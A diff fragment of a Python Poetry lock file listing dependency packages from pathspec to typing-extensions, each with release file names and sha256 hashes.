+    {file = "pathspec-0.8.0.tar.gz", hash = "sha256:da45173eb3a6f2a5a487efba21f050af2b41948be6ab52b6a1e3ff22bb8b7061"},
+]
+pep562 = [
+    {file = "pep562-1.0-py2.py3-none-any.whl", hash = "sha256:d2a48b178ebf5f8dd31709cc26a19808ef794561fa2fe50ea01ea2bad4d667ef"},
+    {file = "pep562-1.0.tar.gz", hash = "sha256:58cb1cc9ee63d93e62b4905a50357618d526d289919814bea1f0da8f53b79395"},
+]
+pexpect = [
+    {file = "pexpect-4.8.0-py2.py3-none-any.whl", hash = "sha256:0b48a55dcb3c05f3329815901ea4fc1537514d6ba867a152b581d69ae3710937"},
+    {file = "pexpect-4.8.0.tar.gz", hash = "sha256:fc65a43959d153d0114afe13997d439c22823a27cefceb5ff35c2178c6784c0c"},
+]
+pkginfo = [
+    {file = "pkginfo-1.5.0.1-py2.py3-none-any.whl", hash = "sha256:a6d9e40ca61ad3ebd0b72fbadd4fba16e4c0e4df0428c041e01e06eb6ee71f32"},
+    {file = "pkginfo-1.5.0.1.tar.gz", hash = "sha256:7424f2c8511c186cd5424bbf31045b77435b37a8d604990b79d4e70d741148bb"},
+]
+pluggy = [
+    {file = "pluggy-0.13.1-py2.py3-none-any.whl", hash = "sha256:966c145cd83c96502c3c3868f50408687b38434af77734af1e9ca461a4081d2d"},
+    {file = "pluggy-0.13.1.tar.gz", hash = "sha256:15b2acde666561e1298d71b523007ed7364de07029219b604cf808bfa1c765b0"},
+]
+pre-commit = [
+    {file = "pre_commit-1.18.3-py2.py3-none-any.whl", hash = "sha256:fa78ff96e8e9ac94c748388597693f18b041a181c94a4f039ad20f45287ba44a"},
+    {file = "pre_commit-1.18.3.tar.gz", hash = "sha256:1d3c0587bda7c4e537a46c27f2c84aa006acc18facf9970bf947df596ce91f3f"},
+    {file = "pre_commit-1.21.0-py2.py3-none-any.whl", hash = "sha256:f92a359477f3252452ae2e8d3029de77aec59415c16ae4189bcfba40b757e029"},
+    {file = "pre_commit-1.21.0.tar.gz", hash = "sha256:8f48d8637bdae6fa70cc97db9c1dd5aa7c5c8bf71968932a380628c25978b850"},
+]
+ptyprocess = [
+    {file = "ptyprocess-0.6.0-py2.py3-none-any.whl", hash = "sha256:d7cc528d76e76342423ca640335bd3633420dc1366f258cb31d05e865ef5ca1f"},
+    {file = "ptyprocess-0.6.0.tar.gz", hash = "sha256:923f299cc5ad920c68f2bc0bc98b75b9f838b93b599941a6b63ddbc2476394c0"},
+]
+py = [
+    {file = "py-1.8.1-py2.py3-none-any.whl", hash = "sha256:c20fdd83a5dbc0af9efd622bee9a5564e278f6380fffcacc43ba6f43db2813b0"},
+    {file = "py-1.8.1.tar.gz", hash = "sha256:5e27081401262157467ad6e7f851b7aa402c5852dbcb3dae06768434de5752aa"},
+]
+pycparser = [
+    {file = "pycparser-2.20-py2.py3-none-any.whl", hash = "sha256:7582ad22678f0fcd81102833f60ef8d0e57288b6b5fb00323d101be910e35705"},
+    {file = "pycparser-2.20.tar.gz", hash = "sha256:2d475327684562c3a96cc71adf7dc8c4f0565175cf86b6d7a404ff4c771f15f0"},
+]
+pygments = [
+    {file = "Pygments-2.3.1-py2.py3-none-any.whl", hash = "sha256:e8218dd399a61674745138520d0d4cf2621d7e032439341bc3f647bff125818d"},
+    {file = "Pygments-2.3.1.tar.gz", hash = "sha256:5ffada19f6203563680669ee7f53b64dabbeb100eb51b61996085e99c03b284a"},
+    {file = "Pygments-2.5.2-py2.py3-none-any.whl", hash = "sha256:2a3fe295e54a20164a9df49c75fa58526d3be48e14aceba6d6b1e8ac0bfd6f1b"},
+    {file = "Pygments-2.5.2.tar.gz", hash = "sha256:98c8aa5a9f778fcd1026a17361ddaf7330d1b7c62ae97c3bb0ae73e0b9b6b0fe"},
+    {file = "Pygments-2.6.1-py3-none-any.whl", hash = "sha256:ff7a40b4860b727ab48fad6360eb351cc1b33cbf9b15a0f689ca5353e9463324"},
+    {file = "Pygments-2.6.1.tar.gz", hash = "sha256:647344a061c249a3b74e230c739f434d7ea4d8b1d5f3721bc0f3558049b38f44"},
+]
+pygments-github-lexers = [
+    {file = "pygments-github-lexers-0.0.5.tar.gz", hash = "sha256:aaca57e77cd6fcfce8d6ee97a998962eebf7fbb810519a8ebde427c62823e133"},
+    {file = "pygments_github_lexers-0.0.5-py3.4.egg", hash = "sha256:0f9e9fb607d351c127a1e55e82a6eb491ed1fc11b2d6a0444ba217dc6d1f82c1"},
+]
+pylev = [
+    {file = "pylev-1.3.0-py2.py3-none-any.whl", hash = "sha256:1d29a87beb45ebe1e821e7a3b10da2b6b2f4c79b43f482c2df1a1f748a6e114e"},
+    {file = "pylev-1.3.0.tar.gz", hash = "sha256:063910098161199b81e453025653ec53556c1be7165a9b7c50be2f4d57eae1c3"},
+]
+pymdown-extensions = [
+    {file = "pymdown-extensions-6.0.tar.gz", hash = "sha256:6cf0cf36b5a03b291ace22dc2f320f4789ce56fbdb6635a3be5fadbf5d7694dd"},
+    {file = "pymdown_extensions-6.0-py2.py3-none-any.whl", hash = "sha256:25b0a7967fa697b5035e23340a48594e3e93acb10b06d74574218ace3347d1df"},
+    {file = "pymdown-extensions-6.2.1.tar.gz", hash = "sha256:3bbe6048275f8a0d13a0fe44e0ea201e67268aa7bb40c2544eef16abbf168f7b"},
+    {file = "pymdown_extensions-6.2.1-py2.py3-none-any.whl", hash = "sha256:dce5e17b93be0572322b7d06c9a13c13a9d98694d6468277911d50ca87d26f29"},
+    {file = "pymdown-extensions-6.3.tar.gz", hash = "sha256:cb879686a586b22292899771f5e5bc3382808e92aa938f71b550ecdea709419f"},
+    {file = "pymdown_extensions-6.3-py2.py3-none-any.whl", hash = "sha256:66fae2683c7a1dac53184f7de57f51f8dad73f9ead2f453e94e85096cb811335"},
+]
+pyparsing = [
+    {file = "pyparsing-2.4.7-py2.py3-none-any.whl", hash = "sha256:ef9d7589ef3c200abe66653d3f1ab1033c3c419ae9b9bdb1240a85b024efc88b"},
+    {file = "pyparsing-2.4.7.tar.gz", hash = "sha256:c203ec8783bf771a155b207279b9bccb8dea02d8f0c9e5f8ead507bc3246ecc1"},
+]
+pyrsistent = [
+    {file = "pyrsistent-0.14.11.tar.gz", hash = "sha256:3ca82748918eb65e2d89f222b702277099aca77e34843c5eb9d52451173970e2"},
+]
+pytest = [
+    {file = "pytest-4.6.11-py2.py3-none-any.whl", hash = "sha256:a00a7d79cbbdfa9d21e7d0298392a8dd4123316bfac545075e6f8f24c94d8c97"},
+    {file = "pytest-4.6.11.tar.gz", hash = "sha256:50fa82392f2120cc3ec2ca0a75ee615be4c479e66669789771f1758332be4353"},
+    {file = "pytest-5.4.3-py3-none-any.whl", hash = "sha256:5c0db86b698e8f170ba4582a492248919255fcd4c79b1ee64ace34301fb589a1"},
+    {file = "pytest-5.4.3.tar.gz", hash = "sha256:7979331bfcba207414f5e1263b5a0f8f521d0f457318836a7355531ed1a4c7d8"},
+]
+pytest-cov = [
+    {file = "pytest-cov-2.8.1.tar.gz", hash = "sha256:cc6742d8bac45070217169f5f72ceee1e0e55b0221f54bcf24845972d3a47f2b"},
+    {file = "pytest_cov-2.8.1-py2.py3-none-any.whl", hash = "sha256:cdbdef4f870408ebdbfeb44e63e07eb18bb4619fae852f6e760645fa36172626"},
+    {file = "pytest-cov-2.9.0.tar.gz", hash = "sha256:b6a814b8ed6247bd81ff47f038511b57fe1ce7f4cc25b9106f1a4b106f1d9322"},
+    {file = "pytest_cov-2.9.0-py2.py3-none-any.whl", hash = "sha256:c87dfd8465d865655a8213859f1b4749b43448b5fae465cb981e16d52a811424"},
+]
+pytest-mock = [
+    {file = "pytest-mock-1.13.0.tar.gz", hash = "sha256:e24a911ec96773022ebcc7030059b57cd3480b56d4f5d19b7c370ec635e6aed5"},
+    {file = "pytest_mock-1.13.0-py2.py3-none-any.whl", hash = "sha256:67e414b3caef7bff6fc6bd83b22b5bc39147e4493f483c2679bc9d4dc485a94d"},
+]
+pytest-sugar = [
+    {file = "pytest-sugar-0.9.3.tar.gz", hash = "sha256:1630b5b7ea3624919b73fde37cffb87965c5087a4afab8a43074ff44e0d810c4"},
+]
+pywin32-ctypes = [
+    {file = "pywin32-ctypes-0.2.0.tar.gz", hash = "sha256:24ffc3b341d457d48e8922352130cf2644024a4ff09762a2261fd34c36ee5942"},
+    {file = "pywin32_ctypes-0.2.0-py2.py3-none-any.whl", hash = "sha256:9dc2d991b3479cc2df15930958b674a48a227d5361d413827a4cfd0b5876fc98"},
+]
+pyyaml = [
+    {file = "PyYAML-5.2-cp27-cp27m-win32.whl", hash = "sha256:35ace9b4147848cafac3db142795ee42deebe9d0dad885ce643928e88daebdcc"},
+    {file = "PyYAML-5.2-cp27-cp27m-win_amd64.whl", hash = "sha256:ebc4ed52dcc93eeebeae5cf5deb2ae4347b3a81c3fa12b0b8c976544829396a4"},
+    {file = "PyYAML-5.2-cp35-cp35m-win32.whl", hash = "sha256:38a4f0d114101c58c0f3a88aeaa44d63efd588845c5a2df5290b73db8f246d15"},
+    {file = "PyYAML-5.2-cp35-cp35m-win_amd64.whl", hash = "sha256:483eb6a33b671408c8529106df3707270bfacb2447bf8ad856a4b4f57f6e3075"},
+    {file = "PyYAML-5.2-cp36-cp36m-win32.whl", hash = "sha256:7f38e35c00e160db592091751d385cd7b3046d6d51f578b29943225178257b31"},
+    {file = "PyYAML-5.2-cp36-cp36m-win_amd64.whl", hash = "sha256:0e7f69397d53155e55d10ff68fdfb2cf630a35e6daf65cf0bdeaf04f127c09dc"},
+    {file = "PyYAML-5.2-cp37-cp37m-win32.whl", hash = "sha256:e4c015484ff0ff197564917b4b4246ca03f411b9bd7f16e02a2f586eb48b6d04"},
+    {file = "PyYAML-5.2-cp37-cp37m-win_amd64.whl", hash = "sha256:4b6be5edb9f6bb73680f5bf4ee08ff25416d1400fbd4535fe0069b2994da07cd"},
+    {file = "PyYAML-5.2-cp38-cp38-win32.whl", hash = "sha256:8100c896ecb361794d8bfdb9c11fce618c7cf83d624d73d5ab38aef3bc82d43f"},
+    {file = "PyYAML-5.2-cp38-cp38-win_amd64.whl", hash = "sha256:2e9f0b7c5914367b0916c3c104a024bb68f269a486b9d04a2e8ac6f6597b7803"},
+    {file = "PyYAML-5.2.tar.gz", hash = "sha256:c0ee8eca2c582d29c3c2ec6e2c4f703d1b7f1fb10bc72317355a746057e7346c"},
+    {file = "PyYAML-5.3.1-cp27-cp27m-win32.whl", hash = "sha256:74809a57b329d6cc0fdccee6318f44b9b8649961fa73144a98735b0aaf029f1f"},
+    {file = "PyYAML-5.3.1-cp27-cp27m-win_amd64.whl", hash = "sha256:240097ff019d7c70a4922b6869d8a86407758333f02203e0fc6ff79c5dcede76"},
+    {file = "PyYAML-5.3.1-cp35-cp35m-win32.whl", hash = "sha256:4f4b913ca1a7319b33cfb1369e91e50354d6f07a135f3b901aca02aa95940bd2"},
+    {file = "PyYAML-5.3.1-cp35-cp35m-win_amd64.whl", hash = "sha256:cc8955cfbfc7a115fa81d85284ee61147059a753344bc51098f3ccd69b0d7e0c"},
+    {file = "PyYAML-5.3.1-cp36-cp36m-win32.whl", hash = "sha256:7739fc0fa8205b3ee8808aea45e968bc90082c10aef6ea95e855e10abf4a37b2"},
+    {file = "PyYAML-5.3.1-cp36-cp36m-win_amd64.whl", hash = "sha256:69f00dca373f240f842b2931fb2c7e14ddbacd1397d57157a9b005a6a9942648"},
+    {file = "PyYAML-5.3.1-cp37-cp37m-win32.whl", hash = "sha256:d13155f591e6fcc1ec3b30685d50bf0711574e2c0dfffd7644babf8b5102ca1a"},
+    {file = "PyYAML-5.3.1-cp37-cp37m-win_amd64.whl", hash = "sha256:73f099454b799e05e5ab51423c7bcf361c58d3206fa7b0d555426b1f4d9a3eaf"},
+    {file = "PyYAML-5.3.1-cp38-cp38-win32.whl", hash = "sha256:06a0d7ba600ce0b2d2fe2e78453a470b5a6e000a985dd4a4e54e436cc36b0e97"},
+    {file = "PyYAML-5.3.1-cp38-cp38-win_amd64.whl", hash = "sha256:95f71d2af0ff4227885f7a6605c37fd53d3a106fcab511b8860ecca9fcf400ee"},
+    {file = "PyYAML-5.3.1.tar.gz", hash = "sha256:b8eac752c5e14d3eca0e6dd9199cd627518cb5ec06add0de9d32baeee6fe645d"},
+]
+regex = [
+    {file = "regex-2020.5.14-cp27-cp27m-win32.whl", hash = "sha256:e565569fc28e3ba3e475ec344d87ed3cd8ba2d575335359749298a0899fe122e"},
+    {file = "regex-2020.5.14-cp27-cp27m-win_amd64.whl", hash = "sha256:d466967ac8e45244b9dfe302bbe5e3337f8dc4dec8d7d10f5e950d83b140d33a"},
+    {file = "regex-2020.5.14-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:27ff7325b297fb6e5ebb70d10437592433601c423f5acf86e5bc1ee2919b9561"},
+    {file = "regex-2020.5.14-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:ea55b80eb0d1c3f1d8d784264a6764f931e172480a2f1868f2536444c5f01e01"},
+    {file = "regex-2020.5.14-cp36-cp36m-manylinux2010_i686.whl", hash = "sha256:c9bce6e006fbe771a02bda468ec40ffccbf954803b470a0345ad39c603402577"},
+    {file = "regex-2020.5.14-cp36-cp36m-manylinux2010_x86_64.whl", hash = "sha256:d881c2e657c51d89f02ae4c21d9adbef76b8325fe4d5cf0e9ad62f850f3a98fd"},
+    {file = "regex-2020.5.14-cp36-cp36m-win32.whl", hash = "sha256:99568f00f7bf820c620f01721485cad230f3fb28f57d8fbf4a7967ec2e446994"},
+    {file = "regex-2020.5.14-cp36-cp36m-win_amd64.whl", hash = "sha256:70c14743320a68c5dac7fc5a0f685be63bc2024b062fe2aaccc4acc3d01b14a1"},
+    {file = "regex-2020.5.14-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:a7c37f048ec3920783abab99f8f4036561a174f1314302ccfa4e9ad31cb00eb4"},
+    {file = "regex-2020.5.14-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:89d76ce33d3266173f5be80bd4efcbd5196cafc34100fdab814f9b228dee0fa4"},
+    {file = "regex-2020.5.14-cp37-cp37m-manylinux2010_i686.whl", hash = "sha256:51f17abbe973c7673a61863516bdc9c0ef467407a940f39501e786a07406699c"},
+    {file = "regex-2020.5.14-cp37-cp37m-manylinux2010_x86_64.whl", hash = "sha256:ce5cc53aa9fbbf6712e92c7cf268274eaff30f6bd12a0754e8133d85a8fb0f5f"},
+    {file = "regex-2020.5.14-cp37-cp37m-win32.whl", hash = "sha256:8044d1c085d49673aadb3d7dc20ef5cb5b030c7a4fa253a593dda2eab3059929"},
+    {file = "regex-2020.5.14-cp37-cp37m-win_amd64.whl", hash = "sha256:c2062c7d470751b648f1cacc3f54460aebfc261285f14bc6da49c6943bd48bdd"},
+    {file = "regex-2020.5.14-cp38-cp38-manylinux1_i686.whl", hash = "sha256:329ba35d711e3428db6b45a53b1b13a0a8ba07cbbcf10bbed291a7da45f106c3"},
+    {file = "regex-2020.5.14-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:579ea215c81d18da550b62ff97ee187b99f1b135fd894a13451e00986a080cad"},
+    {file = "regex-2020.5.14-cp38-cp38-manylinux2010_i686.whl", hash = "sha256:3a9394197664e35566242686d84dfd264c07b20f93514e2e09d3c2b3ffdf78fe"},
+    {file = "regex-2020.5.14-cp38-cp38-manylinux2010_x86_64.whl", hash = "sha256:ce367d21f33e23a84fb83a641b3834dd7dd8e9318ad8ff677fbfae5915a239f7"},
+    {file = "regex-2020.5.14-cp38-cp38-win32.whl", hash = "sha256:1386e75c9d1574f6aa2e4eb5355374c8e55f9aac97e224a8a5a6abded0f9c927"},
+    {file = "regex-2020.5.14-cp38-cp38-win_amd64.whl", hash = "sha256:7e61be8a2900897803c293247ef87366d5df86bf701083b6c43119c7c6c99108"},
+    {file = "regex-2020.5.14.tar.gz", hash = "sha256:ce450ffbfec93821ab1fea94779a8440e10cf63819be6e176eb1973a6017aff5"},
+]
+requests = [
+    {file = "requests-2.21.0-py2.py3-none-any.whl", hash = "sha256:7bf2a778576d825600030a110f3c0e3e8edc51dfaafe1c146e39a2027784957b"},
+    {file = "requests-2.21.0.tar.gz", hash = "sha256:502a824f31acdacb3a35b6690b5fbf0bc41d63a24a45c4004352b0242707598e"},
+    {file = "requests-2.23.0-py2.py3-none-any.whl", hash = "sha256:43999036bfa82904b6af1d99e4882b560e5e2c68e5c4b0aa03b655f3d7d73fee"},
+    {file = "requests-2.23.0.tar.gz", hash = "sha256:b3f43d496c6daba4493e7c431722aeb7dbc6288f52a6e04e7b6023b0247817e6"},
+]
+requests-toolbelt = [
+    {file = "requests-toolbelt-0.8.0.tar.gz", hash = "sha256:f6a531936c6fa4c6cfce1b9c10d5c4f498d16528d2a54a22ca00011205a187b5"},
+    {file = "requests_toolbelt-0.8.0-py2.py3-none-any.whl", hash = "sha256:42c9c170abc2cacb78b8ab23ac957945c7716249206f90874651971a4acff237"},
+]
+scandir = [
+    {file = "scandir-1.10.0-cp27-cp27m-win32.whl", hash = "sha256:92c85ac42f41ffdc35b6da57ed991575bdbe69db895507af88b9f499b701c188"},
+    {file = "scandir-1.10.0-cp27-cp27m-win_amd64.whl", hash = "sha256:cb925555f43060a1745d0a321cca94bcea927c50114b623d73179189a4e100ac"},
+    {file = "scandir-1.10.0-cp34-cp34m-win32.whl", hash = "sha256:2c712840c2e2ee8dfaf36034080108d30060d759c7b73a01a52251cc8989f11f"},
+    {file = "scandir-1.10.0-cp34-cp34m-win_amd64.whl", hash = "sha256:2586c94e907d99617887daed6c1d102b5ca28f1085f90446554abf1faf73123e"},
+    {file = "scandir-1.10.0-cp35-cp35m-win32.whl", hash = "sha256:2b8e3888b11abb2217a32af0766bc06b65cc4a928d8727828ee68af5a967fa6f"},
+    {file = "scandir-1.10.0-cp35-cp35m-win_amd64.whl", hash = "sha256:8c5922863e44ffc00c5c693190648daa6d15e7c1207ed02d6f46a8dcc2869d32"},
+    {file = "scandir-1.10.0-cp36-cp36m-win32.whl", hash = "sha256:2ae41f43797ca0c11591c0c35f2f5875fa99f8797cb1a1fd440497ec0ae4b022"},
+    {file = "scandir-1.10.0-cp36-cp36m-win_amd64.whl", hash = "sha256:7d2d7a06a252764061a020407b997dd036f7bd6a175a5ba2b345f0a357f0b3f4"},
+    {file = "scandir-1.10.0-cp37-cp37m-win32.whl", hash = "sha256:67f15b6f83e6507fdc6fca22fedf6ef8b334b399ca27c6b568cbfaa82a364173"},
+    {file = "scandir-1.10.0-cp37-cp37m-win_amd64.whl", hash = "sha256:b24086f2375c4a094a6b51e78b4cf7ca16c721dcee2eddd7aa6494b42d6d519d"},
+    {file = "scandir-1.10.0.tar.gz", hash = "sha256:4d4631f6062e658e9007ab3149a9b914f3548cb38bfb021c64f39a025ce578ae"},
+]
+secretstorage = [
+    {file = "SecretStorage-2.3.1.tar.gz", hash = "sha256:3af65c87765323e6f64c83575b05393f9e003431959c9395d1791d51497f29b6"},
+    {file = "SecretStorage-3.1.2-py3-none-any.whl", hash = "sha256:b5ec909dde94d4ae2fa26af7c089036997030f0cf0a5cb372b4cccabd81c143b"},
+    {file = "SecretStorage-3.1.2.tar.gz", hash = "sha256:15da8a989b65498e29be338b3b279965f1b8f09b9668bd8010da183024c8bff6"},
+]
+shellingham = [
+    {file = "shellingham-1.3.2-py2.py3-none-any.whl", hash = "sha256:7f6206ae169dc1a03af8a138681b3f962ae61cc93ade84d0585cca3aaf770044"},
+    {file = "shellingham-1.3.2.tar.gz", hash = "sha256:576c1982bea0ba82fb46c36feb951319d7f42214a82634233f58b40d858a751e"},
+]
+singledispatch = [
+    {file = "singledispatch-3.4.0.3-py2.py3-none-any.whl", hash = "sha256:833b46966687b3de7f438c761ac475213e53b306740f1abfaa86e1d1aae56aa8"},
+    {file = "singledispatch-3.4.0.3.tar.gz", hash = "sha256:5b06af87df13818d14f08a028e42f566640aef80805c3b50c5056b086e3c2b9c"},
+]
+six = [
+    {file = "six-1.15.0-py2.py3-none-any.whl", hash = "sha256:8b74bedcbbbaca38ff6d7491d76f2b06b3592611af620f8426e82dddb04a5ced"},
+    {file = "six-1.15.0.tar.gz", hash = "sha256:30639c035cdb23534cd4aa2dd52c3bf48f06e5f4a941509c8bafd8ce11080259"},
+]
+subprocess32 = [
+    {file = "subprocess32-3.5.4-cp27-cp27m-macosx_10_6_intel.whl", hash = "sha256:88e37c1aac5388df41cc8a8456bb49ebffd321a3ad4d70358e3518176de3a56b"},
+    {file = "subprocess32-3.5.4.tar.gz", hash = "sha256:eb2937c80497978d181efa1b839ec2d9622cf9600a039a79d0e108d1f9aec79d"},
+]
+termcolor = [
+    {file = "termcolor-1.1.0.tar.gz", hash = "sha256:1d6d69ce66211143803fbc56652b41d73b4a400a2891d7bf7a1cdf4c02de613b"},
+]
+toml = [
+    {file = "toml-0.10.1-py2.py3-none-any.whl", hash = "sha256:bda89d5935c2eac546d648028b9901107a595863cb36bae0c73ac804a9b4ce88"},
+    {file = "toml-0.10.1.tar.gz", hash = "sha256:926b612be1e5ce0634a2ca03470f95169cf16f939018233a670519cb4ac58b0f"},
+]
+tomlkit = [
+    {file = "tomlkit-0.5.11-py2.py3-none-any.whl", hash = "sha256:4e1bd6c9197d984528f9ff0cc9db667c317d8881288db50db20eeeb0f6b0380b"},
+    {file = "tomlkit-0.5.11.tar.gz", hash = "sha256:f044eda25647882e5ef22b43a1688fb6ab12af2fc50e8456cdfc751c873101cf"},
+]
+tornado = [
+    {file = "tornado-5.1.1-cp35-cp35m-win32.whl", hash = "sha256:732e836008c708de2e89a31cb2fa6c0e5a70cb60492bee6f1ea1047500feaf7f"},
+    {file = "tornado-5.1.1-cp35-cp35m-win_amd64.whl", hash = "sha256:0662d28b1ca9f67108c7e3b77afabfb9c7e87bde174fbda78186ecedc2499a9d"},
+    {file = "tornado-5.1.1-cp36-cp36m-win32.whl", hash = "sha256:8154ec22c450df4e06b35f131adc4f2f3a12ec85981a203301d310abf580500f"},
+    {file = "tornado-5.1.1-cp36-cp36m-win_amd64.whl", hash = "sha256:d4b3e5329f572f055b587efc57d29bd051589fb5a43ec8898c77a47ec2fa2bbb"},
+    {file = "tornado-5.1.1-cp37-cp37m-win32.whl", hash = "sha256:e5f2585afccbff22390cddac29849df463b252b711aa2ce7c5f3f342a5b3b444"},
+    {file = "tornado-5.1.1-cp37-cp37m-win_amd64.whl", hash = "sha256:8e9d728c4579682e837c92fdd98036bd5cdefa1da2aaf6acf26947e6dd0c01c5"},
+    {file = "tornado-5.1.1.tar.gz", hash = "sha256:4e5158d97583502a7e2739951553cbd88a72076f152b4b11b64b9a10c4c49409"},
+    {file = "tornado-6.0.4-cp35-cp35m-win32.whl", hash = "sha256:5217e601700f24e966ddab689f90b7ea4bd91ff3357c3600fa1045e26d68e55d"},
+    {file = "tornado-6.0.4-cp35-cp35m-win_amd64.whl", hash = "sha256:c98232a3ac391f5faea6821b53db8db461157baa788f5d6222a193e9456e1740"},
+    {file = "tornado-6.0.4-cp36-cp36m-win32.whl", hash = "sha256:5f6a07e62e799be5d2330e68d808c8ac41d4a259b9cea61da4101b83cb5dc673"},
+    {file = "tornado-6.0.4-cp36-cp36m-win_amd64.whl", hash = "sha256:c952975c8ba74f546ae6de2e226ab3cc3cc11ae47baf607459a6728585bb542a"},
+    {file = "tornado-6.0.4-cp37-cp37m-win32.whl", hash = "sha256:2c027eb2a393d964b22b5c154d1a23a5f8727db6fda837118a776b29e2b8ebc6"},
+    {file = "tornado-6.0.4-cp37-cp37m-win_amd64.whl", hash = "sha256:5618f72e947533832cbc3dec54e1dffc1747a5cb17d1fd91577ed14fa0dc081b"},
+    {file = "tornado-6.0.4-cp38-cp38-win32.whl", hash = "sha256:22aed82c2ea340c3771e3babc5ef220272f6fd06b5108a53b4976d0d722bcd52"},
+    {file = "tornado-6.0.4-cp38-cp38-win_amd64.whl", hash = "sha256:c58d56003daf1b616336781b26d184023ea4af13ae143d9dda65e31e534940b9"},
+    {file = "tornado-6.0.4.tar.gz", hash = "sha256:0fe2d45ba43b00a41cd73f8be321a44936dc1aba233dee979f17a042b83eb6dc"},
+]
+tox = [
+    {file = "tox-3.12.1-py2.py3-none-any.whl", hash = "sha256:f5c8e446b51edd2ea97df31d4ded8c8b72e7d6c619519da6bb6084b9dd5770f9"},
+    {file = "tox-3.12.1.tar.gz", hash = "sha256:f87fd33892a2df0950e5e034def9468988b8d008c7e9416be665fcc0dd45b14f"},
+    {file = "tox-3.15.1-py2.py3-none-any.whl", hash = "sha256:322dfdf007d7d53323f767badcb068a5cfa7c44d8aabb698d131b28cf44e62c4"},
+    {file = "tox-3.15.1.tar.gz", hash = "sha256:8c9ad9b48659d291c5bc78bcabaa4d680d627687154b812fa52baedaa94f9f83"},
+]
+tqdm = [
+    {file = "tqdm-4.46.1-py2.py3-none-any.whl", hash = "sha256:07c06493f1403c1380b630ae3dcbe5ae62abcf369a93bbc052502279f189ab8c"},
+    {file = "tqdm-4.46.1.tar.gz", hash = "sha256:cd140979c2bebd2311dfb14781d8f19bd5a9debb92dcab9f6ef899c987fcf71f"},
+]
+typed-ast = [
+    {file = "typed_ast-1.4.1-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:73d785a950fc82dd2a25897d525d003f6378d1cb23ab305578394694202a58c3"},
+    {file = "typed_ast-1.4.1-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:aaee9905aee35ba5905cfb3c62f3e83b3bec7b39413f0a7f19be4e547ea01ebb"},
+    {file = "typed_ast-1.4.1-cp35-cp35m-win32.whl", hash = "sha256:0c2c07682d61a629b68433afb159376e24e5b2fd4641d35424e462169c0a7919"},
+    {file = "typed_ast-1.4.1-cp35-cp35m-win_amd64.whl", hash = "sha256:4083861b0aa07990b619bd7ddc365eb7fa4b817e99cf5f8d9cf21a42780f6e01"},
+    {file = "typed_ast-1.4.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:269151951236b0f9a6f04015a9004084a5ab0d5f19b57de779f908621e7d8b75"},
+    {file = "typed_ast-1.4.1-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:24995c843eb0ad11a4527b026b4dde3da70e1f2d8806c99b7b4a7cf491612652"},
+    {file = "typed_ast-1.4.1-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:fe460b922ec15dd205595c9b5b99e2f056fd98ae8f9f56b888e7a17dc2b757e7"},
+    {file = "typed_ast-1.4.1-cp36-cp36m-win32.whl", hash = "sha256:4e3e5da80ccbebfff202a67bf900d081906c358ccc3d5e3c8aea42fdfdfd51c1"},
+    {file = "typed_ast-1.4.1-cp36-cp36m-win_amd64.whl", hash = "sha256:249862707802d40f7f29f6e1aad8d84b5aa9e44552d2cc17384b209f091276aa"},
+    {file = "typed_ast-1.4.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:8ce678dbaf790dbdb3eba24056d5364fb45944f33553dd5869b7580cdbb83614"},
+    {file = "typed_ast-1.4.1-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:c9e348e02e4d2b4a8b2eedb48210430658df6951fa484e59de33ff773fbd4b41"},
+    {file = "typed_ast-1.4.1-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:bcd3b13b56ea479b3650b82cabd6b5343a625b0ced5429e4ccad28a8973f301b"},
+    {file = "typed_ast-1.4.1-cp37-cp37m-win32.whl", hash = "sha256:d5d33e9e7af3b34a40dc05f498939f0ebf187f07c385fd58d591c533ad8562fe"},
+    {file = "typed_ast-1.4.1-cp37-cp37m-win_amd64.whl", hash = "sha256:0666aa36131496aed8f7be0410ff974562ab7eeac11ef351def9ea6fa28f6355"},
+    {file = "typed_ast-1.4.1-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:d205b1b46085271b4e15f670058ce182bd1199e56b317bf2ec004b6a44f911f6"},
+    {file = "typed_ast-1.4.1-cp38-cp38-manylinux1_i686.whl", hash = "sha256:6daac9731f172c2a22ade6ed0c00197ee7cc1221aa84cfdf9c31defeb059a907"},
+    {file = "typed_ast-1.4.1-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:498b0f36cc7054c1fead3d7fc59d2150f4d5c6c56ba7fb150c013fbc683a8d2d"},
+    {file = "typed_ast-1.4.1-cp38-cp38-win32.whl", hash = "sha256:715ff2f2df46121071622063fc7543d9b1fd19ebfc4f5c8895af64a77a8c852c"},
+    {file = "typed_ast-1.4.1-cp38-cp38-win_amd64.whl", hash = "sha256:fc0fea399acb12edbf8a628ba8d2312f583bdbdb3335635db062fa98cf71fca4"},
+    {file = "typed_ast-1.4.1-cp39-cp39-macosx_10_15_x86_64.whl", hash = "sha256:d43943ef777f9a1c42bf4e552ba23ac77a6351de620aa9acf64ad54933ad4d34"},
+    {file = "typed_ast-1.4.1.tar.gz", hash = "sha256:8c8aaad94455178e3187ab22c8b01a3837f8ee50e09cf31f1ba129eb293ec30b"},
+]
+typing = [
+    {file = "typing-3.7.4.1-py2-none-any.whl", hash = "sha256:c8cabb5ab8945cd2f54917be357d134db9cc1eb039e59d1606dc1e60cb1d9d36"},
+    {file = "typing-3.7.4.1-py3-none-any.whl", hash = "sha256:f38d83c5a7a7086543a0f649564d661859c5146a85775ab90c0d2f93ffaa9714"},
+    {file = "typing-3.7.4.1.tar.gz", hash = "sha256:91dfe6f3f706ee8cc32d38edbbf304e9b7583fb37108fef38229617f8b3eba23"},
+]
+typing-extensions = [
+    {file = "typing_extensions-3.7.4.2-py2-none-any.whl", hash = "sha256:f8d2bd89d25bc39dabe7d23df520442fa1d8969b82544370e03d88b5a591c392"},
+    {file = "typing_extensions-3.7.4.2-py3-none-any.whl", hash = "sha256:6e95524d8a547a91e08f404ae485bbb71962de46967e1b71a0cb89af24e761c5"},
